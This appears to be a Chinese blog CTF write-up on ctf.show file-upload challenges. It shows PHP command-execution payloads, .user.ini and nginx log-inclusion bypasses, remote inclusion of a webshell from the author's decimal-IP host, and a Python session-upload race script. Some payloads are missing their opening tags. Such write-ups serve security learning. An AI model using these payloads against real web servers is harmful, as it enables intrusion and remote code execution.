本文来自csdn的⭐️shu天⭐️,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主 看看ヾ(@ ˘ω˘ @)ノ!!
上传口
试了试upload界面有一个默认文件,可以用上传.user.ini的方法
后台应该是屏蔽了很多字符串(php,eval,post
等等),甚至连正常图片都传不上去
试了一下php短标签 ?>
还可以用
先找一下flag在哪
然后读flag的内容
exec("cat ../flag* > 2.txt");?>
访问/upload/,然后再访问/upload/2.txt,看到flag
payload同上题,屏蔽了;
exec("cat ../flag* > 2.txt")?>
payload同上题
exec("cat ../flag* > 2.txt")?>
payload同上,括号被屏蔽,用反引号执行命令
`cat ../flag* > 2.txt` ?>
过滤了反引号和空格
,没有办法上传危险的函数了
所以利用include文件包含传
注意log被过滤
include"/var/l"."og/nginx/access.lo"."g"?>
估计是检测文件头,加个GIF89a?
然后同上一题用日志包含
include"/var/l"."og/nginx/access.lo"."g"?>
过滤了.
,所以不能利用日志包含了,先正常上传.user.ini
因为不能有.所以将IP转换为十进制,我的默认路由就是一句话木马
如果是包含远程服务器上的PHP文件,那么得到的是被远程服务器解析过的PHP,所以在写一句话木马的时候就不要做成.php的文件,一般包含.txt的文件
https://www.jianshu.com/p/be68cf9be911
=include"http://3024726958"?>
利用session.upload_progress
将木马写入session文件,然后包含这个session文件。
首先在.user.ini包含/tmp/sess_{sessid}
auto_append_file=/tmp/sess_xiao
import io
import sys
import requests
import threading
host = 'http://6038fed7-c4a1-4d83-98cc-45dba9f44a8d.challenge.ctf.show/'
sessid = 'xiaozS'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={"PHP_SESSION_UPLOAD_PROGRESS":"');echo md5('1');?>"},
files={"file":('a.txt', f)},
cookies={'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(f'{host}/upload/')
# print(response.text)
if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
呜呜呜条件竞争了好久没成功,不知道为什么
同上用远程文件包含
GIF89a?
auto_append_file=http://6024326456
本文来自csdn的⭐️shu天⭐️,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主 看看ヾ(@ ˘ω˘ @)ノ!!